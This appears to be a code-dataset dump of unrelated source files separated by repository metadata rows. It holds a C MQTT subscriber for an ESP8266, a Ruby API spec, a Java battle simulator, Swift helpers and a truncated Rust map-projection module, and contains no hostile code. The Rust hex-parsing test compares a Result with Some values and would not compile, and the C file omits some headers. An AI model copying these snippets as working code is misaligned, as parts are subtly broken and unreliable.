#include <stdbool.h>
#include <sys/select.h>
#include <sys/time.h>
#include <unistd.h>
#include "esp8266.h"
#include "socket_esp8266.h"
#include "MQTTClient.h"
#include "../common/config.h"
extern int serial_open_nonblock(const char *devpath);
static const char *portname = "/dev/cu.SLAB_USBtoUART";
static int serial_fd = -1;
static int linux_putc(unsigned char ch, int timeout)
{
fd_set wfds;
FD_ZERO(&wfds);
FD_SET(serial_fd, &wfds);
struct timeval tv = {
.tv_sec = timeout / 1000,
.tv_usec = (timeout % 1000) * 1000,
};
int count = select(serial_fd + 1, NULL, &wfds, NULL, &tv);
if (count > 0) {
return write(serial_fd, &ch, 1) == 1 ? 0 : -1;
} else {
printf("putc, select failed\n");
return -1;
}
}
static int linux_getc(int timeout)
{
fd_set rfds;
FD_ZERO(&rfds);
FD_SET(serial_fd, &rfds);
struct timeval tv = {
.tv_sec = timeout / 1000,
.tv_usec = (timeout % 1000) * 1000,
};
int count = select(serial_fd + 1, &rfds, NULL, NULL, &tv);
if (count > 0)
{
unsigned char ch;
return read(serial_fd, &ch, 1) == 1 ? ch : -1;
}
else
{
return -1;
}
}
static atcmd_ops ops = {
.getc_timeout = linux_getc,
.putc_timeout = linux_putc,
};
static void init()
{
serial_fd = serial_open_nonblock(portname);
if (serial_fd < 0) {
printf("open %s failed\n", portname);
exit(-1);
}
esp8266_init(&ops);
int rc = socket_init(&socket_esp8266, SSID, PASS);
if (rc) {
printf("socket init failed %d\n", rc);
exit(-1);
}
}
volatile int toStop = 0;
void usage()
{
printf("MQTT stdout subscriber\n");
printf("Usage: stdoutsub topicname <options>, where options are:\n");
printf(" --host <hostname> (default is localhost)\n");
printf(" --port <port> (default is 1883)\n");
printf(" --qos <qos> (default is 2)\n");
printf(" --delimiter <delim> (default is \\n)\n");
printf(" --clientid <clientid> (default is hostname+timestamp)\n");
printf(" --username none\n");
printf(" --password none\n");
printf(" --showtopics <on or off> (default is on if the topic has a wildcard, else off)\n");
exit(-1);
}
void cfinish(int sig)
{
signal(SIGINT, NULL);
toStop = 1;
}
struct opts_struct
{
char* clientid;
int nodelimiter;
char* delimiter;
enum QoS qos;
char* username;
char* password;
char* host;
int port;
int showtopics;
} opts =
{
(char*)"stdout-subscriber", 0, (char*)"\n", QOS2, NULL, NULL, (char*)"localhost", 1883, 0
};
void getopts(int argc, char** argv)
{
int count = 2;
while (count < argc)
{
if (strcmp(argv[count], "--qos") == 0)
{
if (++count < argc)
{
if (strcmp(argv[count], "0") == 0)
opts.qos = QOS0;
else if (strcmp(argv[count], "1") == 0)
opts.qos = QOS1;
else if (strcmp(argv[count], "2") == 0)
opts.qos = QOS2;
else
usage();
}
else
usage();
}
else if (strcmp(argv[count], "--host") == 0)
{
if (++count < argc)
opts.host = argv[count];
else
usage();
}
else if (strcmp(argv[count], "--port") == 0)
{
if (++count < argc)
opts.port = atoi(argv[count]);
else
usage();
}
else if (strcmp(argv[count], "--clientid") == 0)
{
if (++count < argc)
opts.clientid = argv[count];
else
usage();
}
else if (strcmp(argv[count], "--username") == 0)
{
if (++count < argc)
opts.username = argv[count];
else
usage();
}
else if (strcmp(argv[count], "--password") == 0)
{
if (++count < argc)
opts.password = argv[count];
else
usage();
}
else if (strcmp(argv[count], "--delimiter") == 0)
{
if (++count < argc)
opts.delimiter = argv[count];
else
opts.nodelimiter = 1;
}
else if (strcmp(argv[count], "--showtopics") == 0)
{
if (++count < argc)
{
if (strcmp(argv[count], "on") == 0)
opts.showtopics = 1;
else if (strcmp(argv[count], "off") == 0)
opts.showtopics = 0;
else
usage();
}
else
usage();
}
count++;
}
}
void messageArrived(MessageData* md)
{
MQTTMessage* message = md->message;
if (opts.showtopics)
printf("%.*s\t", md->topicName->lenstring.len, md->topicName->lenstring.data);
if (opts.nodelimiter)
printf("%.*s", (int)message->payloadlen, (char*)message->payload);
else
printf("%.*s%s", (int)message->payloadlen, (char*)message->payload, opts.delimiter);
fflush(stdout);
}
int main(int argc, char** argv)
{
int rc = 0;
unsigned char buf[100];
unsigned char readbuf[100];
if (argc < 2)
usage();
init();
char* topic = argv[1];
if (strchr(topic, '#') || strchr(topic, '+'))
opts.showtopics = 1;
if (opts.showtopics)
printf("topic is %s\n", topic);
getopts(argc, argv);
Network n;
MQTTClient c;
signal(SIGINT, cfinish);
signal(SIGTERM, cfinish);
NetworkInit(&n);
do {
rc = NetworkConnect(&n, opts.host, opts.port);
if (rc >= 0) {
break;
}
sleep(1);
} while (1);
MQTTClientInit(&c, &n, 1000, buf, 100, readbuf, 100);
MQTTPacket_connectData data = MQTTPacket_connectData_initializer;
data.willFlag = 0;
data.MQTTVersion = 3;
data.clientID.cstring = opts.clientid;
data.username.cstring = opts.username;
data.password.cstring = opts.password;
data.keepAliveInterval = 10;
data.cleansession = 1;
printf("Connecting to %s %d\n", opts.host, opts.port);
rc = MQTTConnect(&c, &data);
printf("Connected %d\n", rc);
if (rc < 0) {
exit(-1);
}
printf("Subscribing to %s\n", topic);
rc = MQTTSubscribe(&c, topic, opts.qos, messageArrived);
printf("Subscribed %d\n", rc);
while (!toStop)
{
if (MQTTYield(&c, 1000) < 0) {
printf("MQTTYield failed\n");
exit(-1);
}
}
printf("Stopping\n");
MQTTDisconnect(&c);
NetworkDisconnect(&n);
return 0;
}
| 19.813333 | 94 | 0.582268 |
e9788022c9d3a88a3db2d4d852ed10bb853ebb63 | 585 | rb | Ruby | spec/emarsys/data_objects/segment_spec.rb | darialapina/emarsys-rb | 75d56489365ad1a318f2031eff98e6d86f97400b | [
"MIT"
] | null | null | null | spec/emarsys/data_objects/segment_spec.rb | darialapina/emarsys-rb | 75d56489365ad1a318f2031eff98e6d86f97400b | [
"MIT"
] | null | null | null | spec/emarsys/data_objects/segment_spec.rb | darialapina/emarsys-rb | 75d56489365ad1a318f2031eff98e6d86f97400b | [
"MIT"
] | null | null | null | require 'spec_helper'
describe Emarsys::Segment do
describe ".collection" do
it "requests all segments" do
expect(
stub_get("filter") { Emarsys::Segment.collection }
).to have_been_requested.once
end
describe ".contacts" do
it "requests contact data for a given segment" do
stub = stub_request(:get, "https://api.emarsys.net/api/v2/filter/123/contacts/?limit=2000&offset=0").to_return(standard_return_body)
Emarsys::Segment.contacts(123, limit: 2000)
expect(stub).to have_been_requested.once
end
end
end
end
| 30.789474 | 140 | 0.682051 |
26362c6d6a0ee31bc4439cc8da6d29cfaee8287e | 6,363 | java | Java | src/main/java/com/example/Models/BattleSection/Battle/Battle.java | PaulElcampeon/War-Version-1.0-ReleasedOnHeroku | 189f2a0497fcc240f0f88a7c3eec9895291af978 | [
"MIT"
] | null | null | null | src/main/java/com/example/Models/BattleSection/Battle/Battle.java | PaulElcampeon/War-Version-1.0-ReleasedOnHeroku | 189f2a0497fcc240f0f88a7c3eec9895291af978 | [
"MIT"
] | 5 | 2020-03-04T21:41:44.000Z | 2021-12-09T19:43:34.000Z | src/main/java/com/example/Models/BattleSection/Battle/Battle.java | PaulElcampeon/War-Version-1.0-ReleasedOnHeroku | 189f2a0497fcc240f0f88a7c3eec9895291af978 | [
"MIT"
] | null | null | null | package com.example.Models.BattleSection.Battle;
import com.example.Models.BattleSection.BattleReceipt.BattleReceipt;
import com.example.Models.Warrior.Warrior;
import lombok.Data;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.Random;
@Data
public class Battle {
//CHECKED
private Warrior attacker, defender, victor, loser;
private DateFormat dateFormat = new SimpleDateFormat("yyyy/MM/dd HH:mm:ss");
private String dateAsString, whoAttacksFirst;
private BattleReceipt battleReceipt;
private ArrayList<Double> attackersDamagePattern, defendersDamagePattern;
double attackerHealthPoints, defenderHealthPoints, attackersAttack, defendersAttack, whoAttacksFirstProbability;
public void battlePrep(Warrior attacker, Warrior defender) {
this.attacker = attacker;
this.defender = defender;
this.dateAsString = dateFormat.format(new Date());
this.attackersDamagePattern = new ArrayList<>();
this.defendersDamagePattern = new ArrayList<>();
this.attackerHealthPoints = (double)this.attacker.getHealthPoints();
this.defenderHealthPoints = (double)this.defender.getHealthPoints();
}
public void startBattle() {
this.attackerAndDefendersDetails();
this.runningBattle();
}
public void runningBattle() {
//REASON FOR USING DOUBLES IS BECAUSE THIS WORKS BETTER WITH THE DEFENSE LEVEL OF THE ARMOUR ITEMS
this.setWhoAttacksFirst();
while(true) {
this.attackersAttack = this.attacker.attack();
this.defendersAttack = this.defender.attack();
this.addingAttacksToDamagePatterns(attackersAttack, defendersAttack);
this.attackSystem();
System.out.println("ATTACKERS HEALTH IS :"+this.attackerHealthPoints);
System.out.println("DEFENDERS HEALTH IS :"+this.defenderHealthPoints);
if (isaWarriorsHealthBelowZero()) {
System.out.println("FINAL");
System.out.println("ATTACKERS HEALTH IS :"+this.attackerHealthPoints);
System.out.println("DEFENDERS HEALTH IS :"+this.defenderHealthPoints);
System.out.println("A warriors health is below 0");
this.attacker.setHealthPoints((int)attackerHealthPoints);
this.defender.setHealthPoints((int)defenderHealthPoints);
break;
}
}
}
private void attackSystem() {
if (whoAttacksFirst.equalsIgnoreCase("ATTACKER")) {
this.subtractingAttacksFromFightersHealthAttackerHitsFirst();
}else {
this.subtractingAttacksFromFightersHealthDefenderHitsFirst();
}
}
private void setWhoAttacksFirst() {
this.whoAttacksFirst = new Random().nextDouble()>0.5? "ATTACKER" : "DEFENDER";
sayWhoAttacksFirst();
}
private void sayWhoAttacksFirst() {
System.out.println("------------------------");
if (this.whoAttacksFirst.equalsIgnoreCase("ATTACKER")) {
System.out.println("ATTACKER ATTACKS FIRST");
} else {
System.out.println("DEFENDER ATTACKS FIRST");
}
System.out.println("------------------------");
}
private void subtractingAttacksFromFightersHealthAttackerHitsFirst() {
this.defenderHealthPoints -= (this.defender.getTotalDamageReduction()) * this.attackersAttack;
this.attackerHealthPoints -= (this.attacker.getTotalDamageReduction()) * this.defendersAttack;
}
private void subtractingAttacksFromFightersHealthDefenderHitsFirst() {
this.attackerHealthPoints -= (this.attacker.getTotalDamageReduction()) * this.defendersAttack;
this.defenderHealthPoints -= (this.defender.getTotalDamageReduction()) * this.attackersAttack;
}
private void addingAttacksToDamagePatterns(double attackersAttack, double defendersAttack) {
this.attackersDamagePattern.add((this.defender.getTotalDamageReduction())*attackersAttack);
this.defendersDamagePattern.add((this.attacker.getTotalDamageReduction())*defendersAttack);
System.out.println("ATTACKERS ATTACK: "+attackersAttack);
System.out.println("DEFENDERS ATTACK: "+defendersAttack);
}
private boolean isaWarriorsHealthBelowZero() {
return this.defenderHealthPoints <= 0 || this.attackerHealthPoints <= 0;
}
public void setVictorAndLoser() {
if (this.hasAttackerWon()) {
this.setAttackAsVictor();
}else {
this.setDefenderAsVictor();
}
}
private boolean hasAttackerWon() {
return this.attacker.getHealthPoints() > this.defender.getHealthPoints();
}
private void setAttackAsVictor() {
this.victor = this.attacker;
this.loser = this.defender;
this.defender.setHealthPoints(100);
if(this.attacker.getHealthPoints() <= 0) {
this.attacker.setHealthPoints(1);
}
}
private void setDefenderAsVictor() {
this.victor = this.defender;
this.loser = this.attacker;
this.defender.setHealthPoints(100);
if(this.attacker.getHealthPoints()<=0){
this.attacker.setHealthPoints(1);
}
}
public void createBattleReceipt() {
this.battleReceipt = new BattleReceipt(this);
}
public void giveBattleReceiptsToBothPlayers() {
this.attacker.getBattleReceipts().add(this.battleReceipt);
this.defender.getBattleReceipts().add(this.battleReceipt);
}
public void startBattleAll(Warrior attacker, Warrior defender) {
this.battlePrep(attacker,defender);
this.startBattle();
this.setVictorAndLoser();
this.createBattleReceipt();
this.giveBattleReceiptsToBothPlayers();
}
private void attackerAndDefendersDetails() {
System.out.println("Attacker is: "+this.attacker);
System.out.println("Defender is: "+this.defender);
System.out.println("Attackers attack range is between: "+this.attacker.getTotalTopDamage()+" - "+this.attacker.getTotalBottomDamage());
System.out.println("Defenders attack range is between: "+this.defender.getTotalTopDamage()+" - "+this.defender.getTotalBottomDamage());
}
}
| 34.581522 | 143 | 0.67311 |
da340f4020b428d1312e18d75dff4bfcc4ff4981 | 473 | rs | Rust | src/util.rs | ComplexPlane/strand_match | 739b235916ae7e8bca9d343089945cc26623b234 | [
"MIT"
] | 1 | 2019-11-02T16:04:45.000Z | 2019-11-02T16:04:45.000Z | src/util.rs | ComplexPlane/strand_match | 739b235916ae7e8bca9d343089945cc26623b234 | [
"MIT"
] | null | null | null | src/util.rs | ComplexPlane/strand_match | 739b235916ae7e8bca9d343089945cc26623b234 | [
"MIT"
] | null | null | null | use crate::Result;
pub fn parse_u32_hex(s: &str) -> Result<u32> {
let s = if s.len() >= 2 && &s[0..2].to_lowercase() == "0x" {
&s[2..]
} else {
s
};
Ok(u32::from_str_radix(s, 16)?)
}
#[cfg(test)]
mod test {
use super::*;
#[test]
fn hexstring() {
assert_eq!(parse_u32_hex("0x52ac0"), Some(338624));
assert_eq!(parse_u32_hex("0X52ac0"), Some(338624));
assert_eq!(parse_u32_hex("42"), Some(66));
}
}
| 19.708333 | 64 | 0.522199 |
48e3601aad14899504ebdc086038b27cdb793f63 | 2,553 | c | C | src/protocols/kubernetes/tests/url/append.c | dev-ddoe/guacamole-server | 8ecdedb05aed4aa9c282ce11d0d1fc8b247265cb | [
"Apache-2.0"
] | 1,450 | 2017-11-29T07:18:10.000Z | 2022-03-30T04:20:50.000Z | src/protocols/kubernetes/tests/url/append.c | dev-ddoe/guacamole-server | 8ecdedb05aed4aa9c282ce11d0d1fc8b247265cb | [
"Apache-2.0"
] | 122 | 2017-12-19T09:17:49.000Z | 2022-03-22T19:58:49.000Z | src/protocols/kubernetes/tests/url/append.c | dev-ddoe/guacamole-server | 8ecdedb05aed4aa9c282ce11d0d1fc8b247265cb | [
"Apache-2.0"
] | 431 | 2017-12-05T16:35:42.000Z | 2022-03-31T22:49:20.000Z | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
#include "url.h"
#include <CUnit/CUnit.h>
#include <stdio.h>
#include <stdlib.h>
/**
* Verifies that guac_kubernetes_append_endpoint_param() correctly appends
* parameters to URLs that do not already have a query string.
*/
void test_url__append_no_query() {
char url[256] = "http://example.net";
CU_ASSERT(!guac_kubernetes_append_endpoint_param(url, sizeof(url), "foo", "100% test value"));
CU_ASSERT_STRING_EQUAL(url, "http://example.net?foo=100%25%20test%20value");
}
/**
* Verifies that guac_kubernetes_append_endpoint_param() correctly appends
* parameters to URLs that already have a query string.
*/
void test_url__append_existing_query() {
char url[256] = "http://example.net?foo=test%20value";
CU_ASSERT(!guac_kubernetes_append_endpoint_param(url, sizeof(url), "foo2", "yet&another/test\\value"));
CU_ASSERT_STRING_EQUAL(url, "http://example.net?foo=test%20value&foo2=yet%26another%2Ftest%5Cvalue");
}
/**
* Verifies that guac_kubernetes_append_endpoint_param() refuses to overflow
* the bounds of the provided buffer.
*/
void test_url__append_bounds() {
char url[256];
/* Appending "?a=1" to the 18-character string "http://example.net" should
* fail for all buffer sizes with 22 bytes or less, with a 22-byte buffer
* lacking space for the null terminator */
for (int length = 18; length <= 22; length++) {
strcpy(url, "http://example.net");
printf("Testing buffer with length %i ...\n", length);
CU_ASSERT(guac_kubernetes_append_endpoint_param(url, length, "a", "1"));
}
/* A 23-byte buffer should be sufficient */
strcpy(url, "http://example.net");
CU_ASSERT(!guac_kubernetes_append_endpoint_param(url, 23, "a", "1"));
}
| 34.04 | 107 | 0.716412 |
bbf182e56f5d69b9ce810b9c6b4447919c133588 | 2,282 | swift | Swift | PiggySaving/Model/Helper.swift | t-liu93/Piggy-Saving-iOS-App | 1eee3de9c632e924182c98b58e7b39dcba5c9fdf | [
"MIT"
] | 1 | 2022-02-18T08:56:20.000Z | 2022-02-18T08:56:20.000Z | PiggySaving/Model/Helper.swift | t-liu93/Piggy-Saving-iOS-App | 1eee3de9c632e924182c98b58e7b39dcba5c9fdf | [
"MIT"
] | 5 | 2022-01-28T10:08:38.000Z | 2022-01-30T14:08:32.000Z | PiggySaving/Model/Helper.swift | t-liu93/Piggy-Saving-iOS-App | 1eee3de9c632e924182c98b58e7b39dcba5c9fdf | [
"MIT"
] | null | null | null | //
// Helper.swift
// PiggySaving
//
// Created by Tianyu Liu on 01/02/2022.
//
import Foundation
import SwiftUI
let APP_VERSION: String = Bundle.main.infoDictionary?["CFBundleShortVersionString"] as? String ?? ""
let APP_BUILD_NUMBER: String = Bundle.main.infoDictionary?["CFBundleVersion"] as? String ?? ""
let VERSION_STRING: String = "Piggy Saving " + "v" + APP_VERSION + " (" + APP_BUILD_NUMBER + ")"
var SCREEN_SIZE: CGRect {
UIScreen.main.bounds
}
var CURRENCY_SYMBOL: String {
NSLocale.current.currencySymbol!
}
class States: ObservableObject {
@Published var savingDataChanged: Bool = false
@Published var mainViewSelection = MainTabItem.SAVINTS_LIST
}
func ??<T>(lhs: Binding<Optional<T>>, rhs: T) -> Binding<T> {
Binding(
get: { lhs.wrappedValue ?? rhs },
set: { lhs.wrappedValue = $0 }
)
}
extension Calendar {
func numberOfDaysBetweenExclStartingDate(_ from: Date, and to: Date) -> Int {
let fromDate = startOfDay(for: from)
let toDate = startOfDay(for: to)
let numberOfDays = dateComponents([.day], from: fromDate, to: toDate)
return numberOfDays.day!
}
}
struct Fonts {
static var HEADING_15_REG = Font.custom("SourceCodePro-Regular", size: 15)
static var HEADING_20_BOLD = Font.custom("SourceCodePro-Bold", size: 20)
static var TITLE_SEMIBOLD = Font.custom("PingFangSC-Semibold", size: 34)
static var BODY_CHINESE_NORMAL = Font.custom("PingFangSC-Regular", size: 16)
static var CAPTION = Font.custom("PingFangSC-Regular", size: 11)
}
extension View {
func heading15Reg() -> some View {
return self.font(Fonts.HEADING_15_REG)
.frame(height: 25)
}
func heading20Bold() -> some View {
return self.font(Fonts.HEADING_20_BOLD)
.frame(height: 30)
}
func shadowA() -> some View {
return self.shadow(color: .black.opacity(0.03), radius: 4, x: -1, y: -1)
.shadow(color: .black.opacity(0.1), radius: 7, x: 3, y: 3)
}
}
private struct PreviewKey: EnvironmentKey {
static let defaultValue: Bool = false
}
extension EnvironmentValues {
var isPreview: Bool {
get { self[PreviewKey.self] }
set { self[PreviewKey.self] = newValue }
}
}
| 28.525 | 100 | 0.654689 |
c4765684c84559ebbfa2eace3d4c1fb11f130a75 | 1,666 | h | C | Include/Expr/Internal/FTimerContainer.h | liliilli/DyExpression | cc20a92d8f4c87d730b3c909da694d1c547b2916 | [
"MIT"
] | 1 | 2019-09-18T07:28:30.000Z | 2019-09-18T07:28:30.000Z | Include/Expr/Internal/FTimerContainer.h | liliilli/DyExpression | cc20a92d8f4c87d730b3c909da694d1c547b2916 | [
"MIT"
] | 2 | 2019-06-04T15:07:39.000Z | 2019-06-10T15:10:27.000Z | Include/Expr/Internal/FTimerContainer.h | liliilli/DyExpression | cc20a92d8f4c87d730b3c909da694d1c547b2916 | [
"MIT"
] | 1 | 2019-06-04T15:06:06.000Z | 2019-06-04T15:06:06.000Z | #pragma once
///
/// MIT License
/// Copyright (c) 2018-2019 Jongmin Yun
///
/// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
/// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
/// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
/// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
/// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
/// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
/// SOFTWARE.
///
#include <chrono>
#include <vector>
namespace dy::expr
{
/// @brief Time stamp type.
using TTimeStamp = std::chrono::duration<double>;
/// @class FTimerContainer
/// @brief Time stamp container
class FTimerContainer final
{
public:
/// @brief Get Lenght of elapsed second timer items.
std::size_t Length() const noexcept;
/// @brief Get recent time stamp.
/// If not exist, just return -1.
TTimeStamp GetRecent() const noexcept;
/// @brief Get average time stamp of list.
/// If not exist, just return -1.
TTimeStamp GetAverage() const noexcept;
/// @brief Get time stamp of index.
/// this function does not check potential error.
TTimeStamp operator[](std::size_t index) const noexcept;
/// @brief Insert new elapsed time stamp into list.
void Insert(const TTimeStamp& elapsedTime);
private:
/// @brief
static constexpr std::size_t kMax = 50;
/// @brief List
std::vector<TTimeStamp> mElapsedSeconds;
/// @brief Present index of list cursor.
std::size_t mPresentIndex = 0;
};
} /// ::dy::expr namespace
#include <Expr/Inline/FTimerContainer.inl> | 29.22807 | 81 | 0.711885 |
5b06e54a38411b57abb5e147fe50782b174c2f45 | 395 | h | C | Example/BUDemo/BUDemo/App/CustomEventAdapter/Admob/BUDAdmob_RewardExpressCustomEventAdapter.h | qqxnz/Bytedance-UnionAD | 34243474825fd31942d14e15805951b62b99eacc | [
"MIT"
] | null | null | null | Example/BUDemo/BUDemo/App/CustomEventAdapter/Admob/BUDAdmob_RewardExpressCustomEventAdapter.h | qqxnz/Bytedance-UnionAD | 34243474825fd31942d14e15805951b62b99eacc | [
"MIT"
] | null | null | null | Example/BUDemo/BUDemo/App/CustomEventAdapter/Admob/BUDAdmob_RewardExpressCustomEventAdapter.h | qqxnz/Bytedance-UnionAD | 34243474825fd31942d14e15805951b62b99eacc | [
"MIT"
] | null | null | null | //
// BUDAdmob_RewardExpressCustomEventAdapter.h
// BUDemo
//
// Created by Bytedance on 2019/11/26.
// Copyright © 2019 bytedance. All rights reserved.
//
#import <Foundation/Foundation.h>
#import <GoogleMobileAds/GoogleMobileAds.h>
NS_ASSUME_NONNULL_BEGIN
@interface BUDAdmob_RewardExpressCustomEventAdapter : NSObject<GADMRewardBasedVideoAdNetworkAdapter>
@end
NS_ASSUME_NONNULL_END
| 20.789474 | 100 | 0.805063 |
5dee7d5324a0ce47a78371d0a865a054af7e09a4 | 153 | h | C | Source/OWB_EasyVox_Demo/OWB_EasyVox_Demo.h | gribuser/OWB_EasyVox_Demo | 10fe7138dddc73626de5875f8d963351c3efe3ba | [
"MIT"
] | 1 | 2020-12-13T13:33:16.000Z | 2020-12-13T13:33:16.000Z | Source/OWB_EasyVox_Demo/OWB_EasyVox_Demo.h | gribuser/OWB_EasyVox_Demo | 10fe7138dddc73626de5875f8d963351c3efe3ba | [
"MIT"
] | null | null | null | Source/OWB_EasyVox_Demo/OWB_EasyVox_Demo.h | gribuser/OWB_EasyVox_Demo | 10fe7138dddc73626de5875f8d963351c3efe3ba | [
"MIT"
] | null | null | null | // Open World Bakery free additions
// Copyright 2020 Dmitry Grivov, g@primitive.game, all rights reserved
#pragma once
#include "CoreMinimal.h"
| 21.857143 | 71 | 0.738562 |
58b50114ba7760ea48bf29da3f9ba328bffe9bb0 | 8,608 | rs | Rust | src/operator/lcc.rs | busstoptaktik/geodesy | 2718c094001b0a2168deb4fbaaa09c4ab9f78a7c | [
"Apache-2.0",
"MIT"
] | 9 | 2021-09-22T21:38:12.000Z | 2022-03-21T12:34:52.000Z | src/operator/lcc.rs | busstoptaktik/geodesy | 2718c094001b0a2168deb4fbaaa09c4ab9f78a7c | [
"Apache-2.0",
"MIT"
] | 15 | 2021-07-29T13:31:18.000Z | 2022-02-05T23:28:50.000Z | src/operator/lcc.rs | busstoptaktik/geodesy | 2718c094001b0a2168deb4fbaaa09c4ab9f78a7c | [
"Apache-2.0",
"MIT"
] | null | null | null | //! Lambert Conformal Conic
use std::f64::consts::FRAC_PI_2;
use super::OperatorArgs;
use super::OperatorCore;
use crate::operator_construction::*;
use crate::Context;
use crate::CoordinateTuple;
use crate::Ellipsoid;
use crate::GeodesyError;
const EPS10: f64 = 1e-10;
#[derive(Debug)]
pub struct Lcc {
ellps: Ellipsoid,
inverted: bool,
k_0: f64,
lon_0: f64,
lat_0: f64,
x_0: f64,
y_0: f64,
phi1: f64,
phi2: f64,
n: f64,
rho0: f64,
c: f64,
args: OperatorArgs,
}
impl Lcc {
pub fn new(args: &mut OperatorArgs) -> Result<Lcc, GeodesyError> {
let ellps = Ellipsoid::named(&args.value("ellps", "GRS80"));
let inverted = args.flag("inv");
let mut phi1 = args.numeric_value("lat_1", f64::NAN)?;
let mut phi2 = args.numeric_value("lat_2", phi1)?;
let mut lat_0 = if (phi1 - phi2).abs() < EPS10 {
args.numeric_value("lat_0", phi1)?
} else {
args.numeric_value("lat_0", 0.)?
};
lat_0 = lat_0.to_radians();
phi1 = phi1.to_radians();
phi2 = phi2.to_radians();
let sc = phi1.sin_cos();
let mut n = sc.0;
let e = ellps.eccentricity();
let es = ellps.eccentricity_squared();
if (phi1 + phi2).abs() < EPS10 {
return Err(GeodesyError::General(
"Lcc: Invalid value for lat_1 and lat_2: |lat_1 + lat_2| should be > 0",
));
}
if sc.1.abs() < EPS10 || phi1.abs() >= FRAC_PI_2 {
return Err(GeodesyError::General(
"Lcc: Invalid value for lat_1: |lat_1| should be < 90°",
));
}
if phi2.cos().abs() < EPS10 || phi2.abs() >= FRAC_PI_2 {
return Err(GeodesyError::General(
"Lcc: Invalid value for lat_2: |lat_2| should be < 90°",
));
}
// Snyder (1982) eq. 12-15
let m1 = crate::internals::pj_msfn(sc, es);
// Snyder (1982) eq. 7-10: exp(-𝜓)
let ml1 = crate::internals::pj_tsfn(sc, e);
// Secant case?
if (phi1 - phi2).abs() >= EPS10 {
let sc = phi2.sin_cos();
n = (m1 / crate::internals::pj_msfn(sc, es)).ln();
if n == 0. {
return Err(GeodesyError::General("Lcc: Invalid value for eccentricity"));
}
let ml2 = crate::internals::pj_tsfn(sc, e);
let denom = (ml1 / ml2).ln();
if denom == 0. {
return Err(GeodesyError::General("Lcc: Invalid value for eccentricity"));
}
n /= denom;
}
let c = m1 * ml1.powf(-n) / n;
let mut rho0 = 0.;
if (lat_0.abs() - FRAC_PI_2).abs() > EPS10 {
rho0 = c * crate::internals::pj_tsfn(lat_0.sin_cos(), e).powf(n);
}
let lon_0 = args.numeric_value("lon_0", 0.)?.to_radians();
let k_0 = args.numeric_value("k_0", 1.)?;
let x_0 = args.numeric_value("x_0", 0.)?;
let y_0 = args.numeric_value("y_0", 0.)?;
let args = args.clone();
Ok(Lcc {
ellps,
inverted,
k_0,
lon_0,
lat_0,
x_0,
y_0,
phi1,
phi2,
n,
rho0,
c,
args,
})
}
pub(crate) fn operator(args: &mut OperatorArgs) -> Result<Operator, GeodesyError> {
let op = crate::operator::lcc::Lcc::new(args)?;
Ok(Operator(Box::new(op)))
}
}
// #[allow(non_snake_case)]
impl OperatorCore for Lcc {
// Forward Lambert conformal conic, following the PROJ implementation,
// cf. https://proj.org/operations/projections/lcc.html
fn fwd(&self, _ctx: &mut Context, operands: &mut [CoordinateTuple]) -> bool {
let a = self.ellps.semimajor_axis();
let e = self.ellps.eccentricity();
for coord in operands {
let lam = coord[0] - self.lon_0;
let phi = coord[1];
let mut rho = 0.;
// Close to one of the poles?
if (phi.abs() - FRAC_PI_2).abs() < EPS10 {
if phi * self.n <= 0. {
*coord = CoordinateTuple::nan();
continue;
}
} else {
rho = self.c * crate::internals::pj_tsfn(phi.sin_cos(), e).powf(self.n);
}
let sc = (lam * self.n).sin_cos();
coord[0] = a * self.k_0 * rho * sc.0 - self.x_0;
coord[1] = a * self.k_0 * (self.rho0 - rho * sc.1) - self.y_0;
}
true
}
fn inv(&self, _ctx: &mut Context, operands: &mut [CoordinateTuple]) -> bool {
let a = self.ellps.semimajor_axis();
let e = self.ellps.eccentricity();
for coord in operands {
let mut x = coord[0] / (a * self.k_0);
let mut y = self.rho0 - coord[1] / (a * self.k_0);
let mut rho = x.hypot(y);
// On one of the poles
if rho == 0. {
coord[0] = 0.;
coord[1] = FRAC_PI_2.copysign(self.n);
continue;
}
// Standard parallel on the southern hemisphere
if self.n < 0. {
rho = -rho;
x = -x;
y = -y;
}
let ts0 = (rho / self.c).powf(1. / self.n);
let phi = crate::internals::pj_phi2(ts0, e);
if phi.is_infinite() || phi.is_nan() {
*coord = CoordinateTuple::nan();
continue;
}
coord[0] = x.atan2(y) / self.n + self.lon_0;
coord[1] = phi;
}
true
}
fn name(&self) -> &'static str {
"lcc"
}
fn is_inverted(&self) -> bool {
self.inverted
}
fn args(&self, _step: usize) -> &OperatorArgs {
&self.args
}
}
#[cfg(test)]
mod tests {
use crate::Context;
use crate::CoordinateTuple as C;
#[test]
fn one_standard_parallel() {
let op = "lcc lat_1:57 lon_0:12";
// Validation values from PROJ:
// echo 12 55 0 0 | cct -d18 proj=lcc lat_1=57 lon_0=12 -- | clip
// echo 10 55 0 0 | cct -d18 proj=lcc lat_1=57 lon_0=12 -- | clip
let mut operands = [
C::geo(55., 12., 0., 0.),
C::geo(55., 10., 0., 0.),
C::geo(59., 14., 0., 0.),
];
let mut results = [
C::raw(-0.000000000101829246, -222728.122307816054672003, 0., 0.),
C::raw(-128046.4724386522429995, -220853.7001605064142495, 0., 0.),
C::raw(115005.41456620067765471, 224484.5143763388914522, 0., 0.),
];
assert!(Context::test(
op,
0,
2e-9,
0,
1e-9,
&mut operands,
&mut results
));
}
#[test]
fn two_standard_parallels() {
let op = "lcc lat_1:33 lat_2:45 lon_0:10";
// Validation value from PROJ:
